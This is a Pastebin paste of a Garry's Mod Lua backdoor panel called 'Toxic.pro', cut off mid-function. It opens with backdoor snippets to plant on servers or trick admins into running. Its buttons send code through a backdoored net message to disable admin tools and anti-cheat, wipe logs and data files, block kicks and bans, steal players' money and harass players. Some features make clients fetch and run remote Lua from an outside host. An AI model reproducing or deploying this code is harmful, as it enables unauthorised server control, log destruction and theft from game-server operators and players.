Advertisement
VoidzMod

Untitled

Mar 11th, 2019
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.54 KB | None | 0 0
  1. /*
  2.  
  3. COPYRIGHT 2018
  4.  
  5. YOU HAVE NO RIGHTS TO REDISTRIBUTE THIS FILE OR ANY FILES ASSOCIATED
  6.  
  7. YOU MAY NOT COPY AND PASTE THIS SCRIPT
  8. p.s. lua run does not work
  9. Coded by Hayden Massey (ToxicRiver) @ toxicpro.xyz (what a fucking joke)
  10.  
  11. */
  12.  
  13. /*
  14.  
  15. Toxic.pro
  16.  
  17. Commissioned by 0xymoron for ToxicRiver
  18.  
  19. Start Date: December 27th, 2017.
  20.  
  21. First revision finished December 28th, 2017 @ 3:28AM.
  22.  
  23. January 2nd, 2017 @ 6:27AM
  24. - This script truly has become toxic, ironic.
  25.  
  26. */
  27.  
  28. /*
  29.  
  30. -- Possible backdoor strings to plant in a file or convince a superadmin to luarun
  31.  
  32. util.AddNetworkString( "idk" ) net.Receive( "idk", function( len ) local str = net.ReadString() RunString( str ) end )
  33. util.AddNetworkString( "idk" ) net.Receive( "idk", function( len ) local str = net.ReadString() CompileString( str, "[C]", false ) end )
  34. util.AddNetworkString( "idk" ) net.Receive( "idk", function( len ) local str = net.ReadString() RunStringEx( str ) end )
  35.  
  36. */
  37.  
  38. /*
  39.  
  40. metastruct editor read shit
  41.  
  42. self.HTMLIDE:AddFunction("gmodinterface","OnCode",function(code) ... end)"
  43.  
  44. https://github.com/Earu/EasyChat/blob/master/lua/easychat/modules/lua_tab.lua#L140
  45.  
  46. */
  47.  
  48. local toxic = {}
  49.  
  50. toxic.Net = "nostrip" -- backdoored net message
  51.  
  52. toxic.Version = "1.2b"
  53.  
  54. toxic.Aids = {
  55.  
  56. "kill them with buttons",
  57. "you are the admen now",
  58. "odium copy paste!!!11!1",
  59. "tricking dumb admens since 2k17",
  60. "what servers can i use this on???",
  61. "#1 in backdoor 2k17 e-peen contest",
  62. "leaked on release day™",
  63. "here come the hax",
  64. "leaked by homeless meme",
  65.  
  66. }
  67.  
  68. /*
  69.  
  70. Backend functions
  71.  
  72. */
  73.  
  74. function toxic.Init()
  75.  
  76. if !file.IsDir( "toxic.pro", "DATA" ) then file.CreateDir( "toxic.pro" ) end
  77.  
  78. if !file.IsDir( "toxic.pro/files", "DATA" ) then file.CreateDir( "toxic.pro/files" ) end
  79.  
  80. if !file.IsDir( "toxic.pro/files/lua", "DATA" ) then file.CreateDir( "toxic.pro/files/lua" ) end
  81.  
  82. end
  83.  
  84. function toxic.Track()
  85.  
  86. -- TODO: php tracking & shit
  87.  
  88. end
  89.  
  90. function toxic.PostLua( str )
  91.  
  92. net.Start( toxic.Net )
  93.  
  94. net.WriteString( str )
  95.  
  96. net.SendToServer()
  97.  
  98. end
  99.  
  100. function toxic.Notify( msg )
  101.  
  102. chat.AddText( Color( 255, 0, 0 ), "[Toxic.pro] ", color_white, msg )
  103.  
  104. end
  105.  
  106. /*
  107.  
  108. user interface
  109.  
  110. */
  111.  
  112. function toxic.AddButton( name, parent, func )
  113.  
  114. local button = parent:Add( "DButton" )
  115. button:SetText( "" )
  116. button:Dock( TOP )
  117. button:DockMargin( 0, 0, 0, 5 )
  118. button:SetSize( 100, 25 )
  119. button.DoClick = func
  120.  
  121. button.Paint = function( self )
  122.  
  123. draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 0, 0, 0, 200 ) )
  124.  
  125. draw.SimpleText( name, "DebugFixed", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1 )
  126.  
  127. end
  128.  
  129. toxic.ButtonPos = toxic.ButtonPos + 30
  130.  
  131. end
  132.  
  133. function toxic.AddCategorySpacer( name, col, parent )
  134.  
  135. toxic.ButtonPos = toxic.ButtonPos + 5
  136.  
  137. local button = parent:Add( "DButton" )
  138. button:SetText( "" )
  139. button:Dock( TOP )
  140. button:DockMargin( 0, 0, 0, 5 )
  141. button:SetSize( 100, 25 )
  142. button:SetEnabled( false )
  143.  
  144. button.Paint = function( self )
  145.  
  146. draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( col.r, col.g, col.b, 200 ) )
  147.  
  148. draw.SimpleText( name, "DebugFixed", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1 )
  149.  
  150. end
  151.  
  152. toxic.ButtonPos = toxic.ButtonPos + 35
  153.  
  154. end
  155.  
  156. function toxic.OpenTextDocument( path, str, parent )
  157.  
  158. local hostname = string.gsub( GetHostName(), "%W", "" )
  159.  
  160. toxic.Notify( "Received file " .. path )
  161.  
  162. local frame = vgui.Create( "DFrame" )
  163. frame:SetSize( ScrW() - ( parent:GetWide() + 75 ), ScrH() - 50 )
  164. frame:SetPos( parent:GetWide() + 50, 25 )
  165. frame:SetTitle( GetHostName() .. "'s " .. path )
  166. frame:MakePopup()
  167. frame:ShowCloseButton( false )
  168. frame:SetDraggable( false )
  169.  
  170. frame.Paint = function( self )
  171.  
  172. draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 140, 0, 0, 150 ) )
  173.  
  174. draw.RoundedBox( 0, 0, 0, self:GetWide(), 25, Color( 0, 0, 0, 200 ) )
  175.  
  176. end
  177.  
  178. local close = vgui.Create( "DButton", frame )
  179. close:SetSize( 50, 20 )
  180. close:SetPos( frame:GetWide() - close:GetWide(), 0 )
  181. close:SetText( "x" )
  182. close:SetTextColor( Color( 255, 255, 255 ) )
  183. close:SetFont( "DebugFixed" )
  184.  
  185. close.Paint = function()
  186.  
  187. draw.RoundedBox( 0, 0, 0, close:GetWide(), close:GetTall(), Color( 168, 62, 62, 255 ) )
  188.  
  189. end
  190.  
  191. close.DoClick = function()
  192.  
  193. frame:Close()
  194.  
  195. end
  196.  
  197. local html = vgui.Create( "DHTML", frame )
  198. html:SetPos( 5, 30 )
  199. html:SetSize( frame:GetWide() - 10, frame:GetTall() - 35 )
  200. html:OpenURL( "https://metastruct.github.io/lua_editor/" )
  201.  
  202. html:QueueJavascript( "SetContent( '" .. string.JavascriptSafe( str ) .. "' )" )
  203.  
  204. local save = vgui.Create( "DButton", frame )
  205. save:SetSize( 60, 20 )
  206. save:SetPos( frame:GetWide() - close:GetWide() - save:GetWide() - 5, 0 )
  207. save:SetText( "Save As" )
  208. save:SetTextColor( Color( 255, 255, 255 ) )
  209. save:SetFont( "DebugFixed" )
  210.  
  211. save.Paint = function()
  212.  
  213. draw.RoundedBox( 0, 0, 0, save:GetWide(), save:GetTall(), Color( 62, 168, 62, 255 ) )
  214.  
  215. end
  216.  
  217. save.DoClick = function()
  218.  
  219. Derma_StringRequest( "Save file '" .. path .. "' to data/toxic.pro/files/" .. hostname .. "/", "File name (e.g: servercfg or servercfg.txt)", "", function( text )
  220.  
  221. if !string.find( text, ".txt" ) then text = text .. ".txt" end
  222.  
  223. if !file.IsDir( "toxic.pro/files/" .. hostname, "DATA" ) then file.CreateDir( "toxic.pro/files/" .. hostname ) end
  224.  
  225. file.Write( "toxic.pro/files/" .. hostname .. "/" .. text, str )
  226.  
  227. toxic.Notify( "Saved source to data/toxic.pro/files/" .. hostname .. "/" .. text )
  228.  
  229. end )
  230.  
  231. end
  232.  
  233. end
  234.  
  235. toxic.LuaStr = ""
  236.  
  237. function toxic.OpenLuaEditor( parent )
  238.  
  239. local frame = vgui.Create( "DFrame" )
  240. frame:SetSize( ScrW() - ( parent:GetWide() + 75 ), ScrH() - 50 )
  241. frame:SetPos( parent:GetWide() + 50, 25 )
  242. frame:SetTitle( "" )
  243. frame:MakePopup()
  244. frame:ShowCloseButton( false )
  245. frame:SetDraggable( false )
  246.  
  247. frame.Paint = function( self )
  248.  
  249. draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 140, 0, 0, 150 ) )
  250.  
  251. draw.RoundedBox( 0, 0, 0, self:GetWide(), 25, Color( 0, 0, 0, 200 ) )
  252.  
  253. end
  254.  
  255. local close = vgui.Create( "DButton", frame )
  256. close:SetSize( 50, 20 )
  257. close:SetPos( frame:GetWide() - close:GetWide(), 0 )
  258. close:SetText( "x" )
  259. close:SetTextColor( Color( 255, 255, 255 ) )
  260. close:SetFont( "DebugFixed" )
  261.  
  262. close.Paint = function()
  263.  
  264. draw.RoundedBox( 0, 0, 0, close:GetWide(), close:GetTall(), Color( 168, 62, 62, 255 ) )
  265.  
  266. end
  267.  
  268. close.DoClick = function()
  269.  
  270. frame:Close()
  271.  
  272. end
  273.  
  274. local html = vgui.Create( "DHTML", frame )
  275. html:SetPos( 5, 30 )
  276. html:SetSize( frame:GetWide() - 10, frame:GetTall() - 35 )
  277. html:OpenURL( "https://metastruct.github.io/lua_editor/" )
  278.  
  279. html:QueueJavascript( "SetContent( '" .. string.JavascriptSafe( toxic.LuaStr ) .. "' )" )
  280.  
  281. html:AddFunction( "gmodinterface", "OnCode", function( code ) -- thanks easychat
  282.  
  283. toxic.LuaStr = code
  284.  
  285. end )
  286.  
  287. local run = vgui.Create( "DButton", frame )
  288. run:SetSize( 60, 20 )
  289. run:SetPos( 0, 0 )
  290. run:SetText( "Run" )
  291. run:SetTextColor( Color( 255, 255, 255 ) )
  292. run:SetFont( "DebugFixed" )
  293.  
  294. run.Paint = function( self )
  295.  
  296. draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 62, 62, 168, 255 ) )
  297.  
  298. end
  299.  
  300. run.DoClick = function()
  301.  
  302. local options = DermaMenu()
  303.  
  304. options:AddOption( "Server", function()
  305.  
  306. toxic.PostLua( toxic.LuaStr )
  307.  
  308. toxic.Notify( "Ran Lua on server" )
  309.  
  310. end ):SetImage( "icon16/server.png" )
  311.  
  312. options:AddOption( "All Clients", function()
  313.  
  314. toxic.PostLua( [[
  315.  
  316. for k, v in next, player.GetAll() do
  317.  
  318. v:SendLua( ']] .. toxic.LuaStr .. [[' )
  319.  
  320. end
  321.  
  322. ]] )
  323.  
  324. toxic.Notify( "Ran Lua on all clients" )
  325.  
  326. end ):SetImage( "icon16/computer_add.png" )
  327.  
  328. local players, menu = options:AddSubMenu( "Client" )
  329.  
  330. menu:SetIcon( "icon16/user.png" )
  331.  
  332. for k, v in next, player.GetAll() do
  333.  
  334. players:AddOption( v:Nick(), function()
  335.  
  336. local id = v:UserID()
  337.  
  338. toxic.PostLua( [[
  339.  
  340. local id = ]] .. id .. [[
  341.  
  342. Player( id ):SendLua( ']] .. toxic.LuaStr .. [[' )
  343.  
  344. ]] )
  345.  
  346. toxic.Notify( "Ran Lua on " .. v:Nick() )
  347.  
  348. end )
  349.  
  350. end
  351.  
  352. options:Open()
  353.  
  354. end
  355.  
  356. local save = vgui.Create( "DButton", frame )
  357. save:SetSize( 60, 20 )
  358. save:SetPos( run:GetWide() + 5, 0 )
  359. save:SetText( "Save" )
  360. save:SetTextColor( Color( 255, 255, 255 ) )
  361. save:SetFont( "DebugFixed" )
  362.  
  363. save.Paint = function( self )
  364.  
  365. draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 62, 168, 62, 255 ) )
  366.  
  367. end
  368.  
  369. save.DoClick = function()
  370.  
  371. Derma_StringRequest( "Save file to data/toxic.pro/files/lua", "File name (e.g: aimbot or aimbot.txt)", "", function( text )
  372.  
  373. if !string.find( text, ".txt" ) then text = text .. ".txt" end
  374.  
  375. file.Write( "toxic.pro/files/lua/" .. text, toxic.LuaStr )
  376.  
  377. toxic.Notify( "Saved source to data/toxic.pro/files/lua/" .. text )
  378.  
  379. end )
  380.  
  381. end
  382.  
  383. local load = vgui.Create( "DButton", frame )
  384. load:SetSize( 60, 20 )
  385. load:SetPos( run:GetWide() + load:GetWide() + 10, 0 )
  386. load:SetText( "Load" )
  387. load:SetTextColor( Color( 255, 255, 255 ) )
  388. load:SetFont( "DebugFixed" )
  389.  
  390. load.Paint = function( self )
  391.  
  392. draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 168, 148, 62, 255 ) )
  393.  
  394. end
  395.  
  396. load.DoClick = function()
  397.  
  398. local options = DermaMenu()
  399.  
  400. for k, v in pairs( file.Find( "toxic.pro/files/lua/*.txt", "DATA" ) ) do
  401.  
  402. options:AddOption( v, function()
  403.  
  404. local str = file.Read( "toxic.pro/files/lua/" .. v, "DATA" )
  405.  
  406. MsgN( str )
  407.  
  408. toxic.LuaStr = str
  409.  
  410. html:QueueJavascript( "SetContent( '" .. string.JavascriptSafe( str ) .. "' )" )
  411.  
  412. toxic.Notify( "Loaded " .. v )
  413.  
  414. end )
  415.  
  416. end
  417.  
  418. options:Open()
  419.  
  420. end
  421.  
  422. end
  423.  
  424. function toxic.UI()
  425.  
  426. toxic.ButtonPos = 30
  427.  
  428. local frame = vgui.Create( "DFrame" )
  429. frame:SetTitle( "Toxic.pro v" .. toxic.Version .. " | by 0xymoron ~ " .. table.Random( toxic.Aids ) )
  430. frame:SetSize( 550, 400 )
  431. frame:SetPos( 25, 25 )
  432. frame:MakePopup()
  433. frame:ShowCloseButton( false )
  434. frame:SetDraggable( false )
  435.  
  436. frame.Paint = function( self )
  437.  
  438. local hsv = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  439.  
  440. draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( hsv.r, hsv.g, hsv.b, 150 ) ) -- old: Color( 140, 0, 0, 150 )
  441.  
  442. draw.RoundedBox( 0, 0, 0, self:GetWide(), 25, Color( 0, 0, 0, 200 ) )
  443.  
  444. surface.SetFont( "CloseCaption_Bold" )
  445.  
  446. local str1 = "Toxic.pro Version " .. toxic.Version
  447.  
  448. local str1_width, str1_height = surface.GetTextSize( str1 )
  449.  
  450. local str2 = "by 0xymoron"
  451.  
  452. local str2_width, str2_height = surface.GetTextSize( str2 )
  453.  
  454. draw.SimpleText( str1, "CloseCaption_Bold", frame:GetWide() / 2 + 2.5, 65, color_white, 1, 1 )
  455.  
  456. draw.SimpleText( str2, "CloseCaption_Bold", frame:GetWide() / 2 + 2.5, frame:GetTall() - str2_height - 25, color_white, 1, 1 )
  457.  
  458. end
  459.  
  460. local close = vgui.Create( "DButton", frame )
  461. close:SetSize( 50, 20 )
  462. close:SetPos( frame:GetWide() - 50, 0 )
  463. close:SetText( "x" )
  464. close:SetTextColor( Color( 255, 255, 255 ) )
  465. close:SetFont( "DebugFixed" )
  466.  
  467. close.Paint = function()
  468.  
  469. draw.RoundedBox( 0, 0, 0, close:GetWide(), close:GetTall(), Color( 168, 62, 62, 255 ) )
  470.  
  471. end
  472.  
  473. close.DoClick = function()
  474.  
  475. frame:Close()
  476.  
  477. end
  478.  
  479. local set = vgui.Create( "DButton", frame )
  480. set:SetSize( 40, 20 )
  481. set:SetPos( frame:GetWide() - close:GetWide() - set:GetWide() - 5, 0 )
  482. set:SetText( "Set" )
  483. set:SetTextColor( Color( 255, 255, 255 ) )
  484. set:SetFont( "DebugFixed" )
  485.  
  486. set.Paint = function( self )
  487.  
  488. draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 62, 168, 62, 255 ) )
  489.  
  490. end
  491.  
  492. local netmsg = vgui.Create( "DTextEntry", frame )
  493. netmsg:SetSize( 75, 20 )
  494. netmsg:SetPos( frame:GetWide() - close:GetWide() - netmsg:GetWide() - set:GetWide() - 10, 0 )
  495. netmsg:SetText( toxic.Net )
  496.  
  497. netmsg.OnEnter = function( self )
  498.  
  499. toxic.Notify( "Set backdoored net message to '" .. netmsg:GetValue() .. "'" )
  500.  
  501. toxic.Net = self:GetValue()
  502.  
  503. end
  504.  
  505. set.DoClick = function( self )
  506.  
  507. toxic.Net = netmsg:GetValue()
  508.  
  509. toxic.Notify( "Set backdoored net message to '" .. netmsg:GetValue() .. "'" )
  510.  
  511. end
  512.  
  513. local panel = vgui.Create( "DScrollPanel", frame )
  514. panel:SetPos( 5, 30 )
  515. panel:SetSize( 150, frame:GetTall() - 35 )
  516.  
  517. local html = vgui.Create( "HTML", frame )
  518. html:SetPos( panel:GetWide() + 20, 95 )
  519. html:SetSize( 240, 215 )
  520. html:SetHTML( [[
  521. <img src="http://www.clker.com/cliparts/c/e/8/f/12387015421849960016GameFreak7744_Biohazard_symbol.svg.med.png" alt="Img" style="width:200px;height:195px;">
  522. ]] )
  523.  
  524. /**************************************
  525.  
  526. Player Management
  527.  
  528. ***************************************/
  529.  
  530. local dlist = vgui.Create( "DListView", frame )
  531. dlist:SetSize( 140, frame:GetTall() - 35 )
  532. dlist:SetPos( frame:GetWide() - dlist:GetWide() - 5, 30 )
  533. dlist:SetMultiSelect( false )
  534. dlist:AddColumn( "Players" )
  535.  
  536. for k, v in next, player.GetAll() do
  537.  
  538. dlist:AddLine( v:Nick() )
  539.  
  540. end
  541.  
  542. dlist.OnClickLine = function( parent, line, self )
  543.  
  544. for k, v in next, player.GetAll() do
  545.  
  546. if v:Nick() == line:GetValue( 1 ) then
  547.  
  548. dlist.SelectedEntity = v
  549.  
  550. else
  551.  
  552. continue
  553.  
  554. end
  555.  
  556. end
  557.  
  558. end
  559.  
  560. dlist.OnRowRightClick = function( parent, line, isselected )
  561.  
  562. surface.PlaySound( "buttons/button9.wav" )
  563.  
  564. local id = dlist.SelectedEntity:UserID()
  565.  
  566. local target = Player( id )
  567.  
  568. local options = DermaMenu()
  569.  
  570. options:AddOption( "Kick", function()
  571.  
  572. toxic.PostLua( [[
  573.  
  574. Player( ]] .. id .. [[ ):Kick()
  575.  
  576. ]] )
  577.  
  578. toxic.Notify( "Kicked " .. target:Nick() )
  579.  
  580. if dlist then
  581.  
  582. dlist:RemoveLine( line )
  583.  
  584. end
  585.  
  586. end ):SetImage( "icon16/door_out.png" )
  587.  
  588. options:AddOption( "Silent Slay", function()
  589.  
  590. toxic.PostLua( [[
  591.  
  592. Player( ]] .. id .. [[ ):KillSilent()
  593.  
  594. ]] )
  595.  
  596. toxic.Notify( "Silently slayed " .. target:Nick() )
  597.  
  598. end ):SetImage( "icon16/lightning.png" )
  599.  
  600. options:AddOption( "Freeze", function()
  601.  
  602. toxic.PostLua( [[
  603.  
  604. local ply = Player( ]] .. id .. [[ )
  605.  
  606. ply:Freeze( !ply:IsFrozen() )
  607.  
  608. ]] )
  609.  
  610. if !target:IsFrozen() then
  611.  
  612. toxic.Notify( "Froze " .. target:Nick() )
  613.  
  614. else
  615.  
  616. toxic.Notify( "Unfroze " .. target:Nick() )
  617.  
  618. end
  619.  
  620. end ):SetImage( "icon16/tux.png" )
  621.  
  622. options:AddOption( "Give Weapon", function()
  623.  
  624. Derma_StringRequest( "Give " .. target:Nick() .. " a weapon", "What weapon? (example: weapon_ak47)", "", function( text )
  625.  
  626. toxic.PostLua( [[
  627.  
  628. local str = "]] .. text .. [["
  629.  
  630. Player( ]] .. id .. [[ ):Give( str )
  631.  
  632. ]] )
  633.  
  634. toxic.Notify( "Gave " .. target:Nick() .. " a " .. text )
  635.  
  636. end )
  637.  
  638. end ):SetImage( "icon16/bomb.png" )
  639.  
  640. options:AddOption( "Give Money", function()
  641.  
  642. Derma_StringRequest( "Give " .. target:Nick() .. " money", "How much?", "", function( text )
  643.  
  644. if !isnumber( tonumber( text ) ) then return end
  645.  
  646. toxic.PostLua( [[
  647.  
  648. local str = "]] .. text .. [["
  649. str = tonumber( str )
  650.  
  651. Player( ]] .. id .. [[ ):addMoney( str )
  652.  
  653. ]] )
  654.  
  655. toxic.Notify( "Gave " .. target:Nick() .. " $" .. string.Comma( text ) )
  656.  
  657. end )
  658.  
  659. end ):SetImage( "icon16/money_add.png" )
  660.  
  661. options:AddOption( "Inject Toxic.pro", function()
  662.  
  663. local snd = table.Random( { "vo/npc/male01/herecomehacks01.wav","vo/npc/male01/herecomehacks02.wav" } ) -- stfu
  664.  
  665. toxic.PostLua( [[
  666.  
  667. Player(]] .. id .. [[):SendLua('http.Fetch("http://snixzz.net/toxic.pro/toxic.lua",function(body) RunString(body) surface.PlaySound("]] .. snd .. [[") chat.AddText(Color(255,0,0),"[Toxic.pro] ",color_white,"Welcome, run `toxic.pro` in console") end)')
  668.  
  669. ]] )
  670.  
  671. toxic.Notify( "Injected Toxic.pro into " .. target:Nick() .. "'s client." )
  672.  
  673. end ):SetImage( "icon16/bug_add.png" )
  674.  
  675. options:Open()
  676.  
  677. end
  678.  
  679. /**************************************
  680.  
  681. Buttons
  682.  
  683. ***************************************/
  684.  
  685.  
  686. toxic.AddCategorySpacer( "Prevention", Color( 255, 0, 0 ), panel )
  687.  
  688. toxic.AddButton( "Break ULX", panel, function()
  689.  
  690. toxic.PostLua( [[ _G.ulx = function() end _G.ULib = function() end ]])
  691.  
  692. toxic.Notify( "Broke ULX, admins now have no control." )
  693.  
  694. end )
  695.  
  696. toxic.AddButton( "Break FAdmin", panel, function()
  697.  
  698. toxic.PostLua( [[
  699.  
  700. _G.FAdmin = function() end
  701.  
  702. ]] )
  703.  
  704. toxic.Notify( "Killed FAdmin" )
  705.  
  706. end )
  707.  
  708. toxic.AddButton( "Wipe Logs", panel, function()
  709.  
  710. local date = os.date( "%m-%d-%y" )
  711.  
  712. toxic.PostLua( [[
  713.  
  714. file.Delete( "ulx_logs/]] .. date .. [[.txt" )
  715.  
  716. ]] )
  717.  
  718. toxic.Notify( "Deleted data/ulx_logs/" .. date .. ".txt" )
  719.  
  720. end )
  721.  
  722. toxic.AddButton( "Wipe data/", panel, function()
  723.  
  724. toxic.PostLua( [[
  725.  
  726. local id = ]] .. LocalPlayer():UserID() .. [[
  727.  
  728. local dirs = {
  729.  
  730. "ulx",
  731. "ulx_logs",
  732. "ulib",
  733. "darkrp_logs",
  734. "adv_duplicator",
  735. "advdupe2",
  736. "cpuchip",
  737. "expression2",
  738. "cw2_0",
  739.  
  740. }
  741.  
  742. for k, v in pairs( dirs ) do
  743.  
  744. for dir, _file in pairs( file.Find( v .. "/*", "DATA" ) ) do
  745.  
  746. file.Delete( v .. "/" .. _file )
  747.  
  748. Player( id ):ChatPrint( "[Toxic.pro] Deleted file 'data/" .. v .. "/" .. _file )
  749.  
  750. end
  751.  
  752. end
  753.  
  754. for k, v in pairs( file.Find( "*", "DATA" ) ) do
  755.  
  756. file.Delete( v )
  757.  
  758. Player( id ):ChatPrint( "[Toxic.pro] Deleted file 'data/" .. v )
  759.  
  760. end
  761.  
  762. ]] )
  763.  
  764. end )
  765.  
  766. toxic.AddButton( "No Kick/Ban", panel, function()
  767.  
  768. toxic.PostLua( [[
  769.  
  770. _R = debug.getregistry()
  771.  
  772. function game.KickID( id, reason )
  773.  
  774. return
  775.  
  776. end
  777.  
  778. function _R.Player.Ban()
  779.  
  780. return
  781.  
  782. end
  783.  
  784. function _R.Player.Kick()
  785.  
  786. return
  787.  
  788. end
  789.  
  790. ]] )
  791.  
  792. toxic.Notify( "Nulled _R.Player.Ban & _R.Player.Kick" )
  793.  
  794. end )
  795.  
  796. toxic.AddButton( "Disable !cake", panel, function()
  797.  
  798. toxic.PostLua( [[ _G.cac = function() end]] )
  799.  
  800. toxic.Notify( "Attempted to disable !cake's anti-cheat, probably failed." )
  801.  
  802. end )
  803.  
  804. toxic.AddCategorySpacer( "DarkRP", Color( 0, 200, 0 ), panel )
  805.  
  806. toxic.AddButton( "Steal Money", panel, function()
  807.  
  808. toxic.PostLua( [[
  809.  
  810. local id = ]] .. LocalPlayer():UserID() .. [[
  811.  
  812. for k, v in next, player.GetAll() do
  813.  
  814. if v:Nick() == "]] .. LocalPlayer():Nick() .. [[" then
  815.  
  816. continue
  817.  
  818. end
  819.  
  820. local bal = v:getDarkRPVar( "money" ) or 9999999
  821.  
  822. v:addMoney( -bal )
  823.  
  824. Player( id ):addMoney( bal )
  825.  
  826. Player( id ):ChatPrint( "[Toxic.pro] Stole $" .. string.Comma( bal ) .. " from " .. v:Nick() )
  827.  
  828. end
  829.  
  830. ]] )
  831.  
  832. end )
  833.  
  834. toxic.AddButton( "Wipe All Money", panel, function()
  835.  
  836. toxic.PostLua( [[RunConsoleCommand( "rp_resetallmoney" )]] )
  837.  
  838. toxic.Notify( "Wiped DarkRP money database" )
  839.  
  840. end )
  841.  
  842. toxic.AddButton( "Change All Names", panel, function()
  843.  
  844. Derma_StringRequest( "Name Changer", "What would you like to name everyone?", "", function( text )
  845.  
  846. toxic.PostLua( [[
  847.  
  848. local str = "]] .. text .. [["
  849.  
  850. for k, v in next, player.GetAll() do
  851.  
  852. DarkRP.storeRPName( v, str )
  853.  
  854. v:setDarkRPVar( "rpname", str )
  855.  
  856. end
  857.  
  858. ]] )
  859.  
  860. toxic.Notify( "Renamed everyone to '" .. text .. "'" )
  861.  
  862. end )
  863.  
  864. end )
  865.  
  866. toxic.AddButton( "Strip Weapons", panel, function()
  867.  
  868. for k, v in next, player.GetAll() do
  869.  
  870. for x, y in pairs( v:GetWeapons() ) do
  871.  
  872. net.Start( "properties" )
  873.  
  874. net.WriteString( "remove", 32 )
  875.  
  876. net.WriteEntity( y )
  877.  
  878. net.SendToServer()
  879.  
  880. end
  881.  
  882. end
  883.  
  884. toxic.Notify( "Attempted to use net 'properties' exploit to strip all players." )
  885.  
  886. end )
  887.  
  888. toxic.AddCategorySpacer( "Autism", Color( 200, 0, 200 ), panel )
  889.  
  890. toxic.AddButton( "Visual Rape", panel, function()
  891.  
  892. -- I don't like this.
  893. toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://riverrp.xyz/boss.mp3', 'mono', function( s ) s:Play() end )]] ) end" )
  894.  
  895. -- I don't like any of this.
  896. toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[http.Fetch( 'https://snixzz.net/toxic.pro/disco.lua', function( body ) RunString( body ) end )]] ) end" )
  897.  
  898. end )
  899.  
  900. toxic.AddButton( "Earthquake", panel, function()
  901.  
  902. toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end" )
  903.  
  904. toxic.Notify( "Earthquake started." )
  905.  
  906. end )
  907.  
  908. toxic.AddButton( "Horse", panel, function()
  909.  
  910. toxic.PostLua( [[
  911.  
  912. local id = ]] .. LocalPlayer():UserID() .. [[
  913.  
  914. Player( id ):SetModel( "models/props_c17/statue_horse.mdl" )
  915.  
  916. Player( id ):SetMaterial( "models/debug/debugwhite" )
  917.  
  918. hook.Add( "Think", "horse", function()
  919.  
  920. if !IsValid( Player( id ) ) then return end
  921.  
  922. Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
  923.  
  924. end )
  925.  
  926. ]] )
  927.  
  928. end )
  929.  
  930. toxic.AddButton( "Footsteps", panel, function()
  931.  
  932. toxic.PostLua( [[
  933.  
  934. hook.Add( "PlayerFootstep", "oooh", function( ply )
  935.  
  936. ply:EmitSound( "vo/npc/female01/pain0" .. math.random( 1, 9 ) .. ".wav", 75, math.random( 50, 100 ) )
  937.  
  938. end )
  939.  
  940. ]] )
  941.  
  942. toxic.Notify( "Enabled moaning footsteps." )
  943.  
  944. end )
  945.  
  946. toxic.AddButton( "Spam .txt", panel, function()
  947.  
  948. Derma_StringRequest( ".txt file contents", "What would you like to put in the .txt?", "", function( text )
  949.  
  950. toxic.PostLua( [[
  951.  
  952. for i = 1, 100 do
  953.  
  954. file.Write( "toxic.pro_" .. math.random( 1, 999999 ) .. ".txt", "]] .. text .. [[" )
  955.  
  956. end
  957.  
  958. ]] )
  959.  
  960. toxic.Notify( "Spamming 100 .txt files containing '" .. text .. "'" )
  961.  
  962. end )
  963.  
  964. end )
  965.  
  966. toxic.AddButton( "Spam Chat", panel, function()
  967.  
  968. Derma_StringRequest( "Message", "Chat Message", "SEIZED BY TOXIC.PRO", function( text )
  969.  
  970. toxic.PostLua( [[
  971.  
  972. util.AddNetworkString("chat_AddText")
  973. chat = {}
  974. function chat.AddText(...)
  975. net.Start("chat_AddText")
  976. net.WriteTable({...})
  977. net.Broadcast()
  978. end
  979. function AddTextPly( ply, ...)
  980. net.Start("chat_AddText")
  981. net.WriteTable({...})
  982. net.Send( ply )
  983. end
  984.  
  985. for k, v in pairs( player.GetAll() ) do
  986.  
  987. v:SendLua( 'net.Receive("chat_AddText", function(len) chat.AddText( unpack( net.ReadTable() ) )end)' )
  988.  
  989. end
  990.  
  991. timer.Create( "gotEm", 1, 120, function()
  992.  
  993. local function ChatPrintRainbow( frequency, str )
  994.  
  995. local text = {}
  996.  
  997.  
  998. for i = 1, #str do
  999. table.insert( text, HSVToColor( i * frequency % 360, 1, 1 ) )
  1000. table.insert( text, string.sub( str, i, i ) )
  1001. end
  1002.  
  1003. chat.AddText( unpack( text ) )
  1004.  
  1005. end
  1006.  
  1007. ChatPrintRainbow( 10, "]] .. text .. [[" )
  1008.  
  1009. end )
  1010.  
  1011.  
  1012. ]] )
  1013.  
  1014. end )
  1015.  
  1016. end )
  1017.  
  1018. /*toxic.AddButton( "Spam Advert", panel, function()
  1019.  
  1020. Derma_StringRequest( "Message", "Spam Message", "SEIZED BY TOXIC.PRO", function( text )
  1021.  
  1022. toxic.PostLua( [[
  1023.  
  1024. local id = ]] .. LocalPlayer():UserID() .. [[
  1025.  
  1026. local why = ]] .. text .. [[
  1027.  
  1028. timer.Create( "gotEm2", 1, 120, function()
  1029.  
  1030. for k, v in next, player.GetAll() do
  1031.  
  1032. v:SetNWString( "why", why )
  1033.  
  1034. v:SendLua( 'RunConsoleCommand("say","/advert",LocalPlayer():GetNWString("why"))')
  1035.  
  1036. end
  1037.  
  1038. end )
  1039.  
  1040.  
  1041. ]] )
  1042.  
  1043. end )
  1044.  
  1045. end )*/
  1046.  
  1047. toxic.AddButton( "Dance", panel, function()
  1048.  
  1049. toxic.PostLua( [[
  1050.  
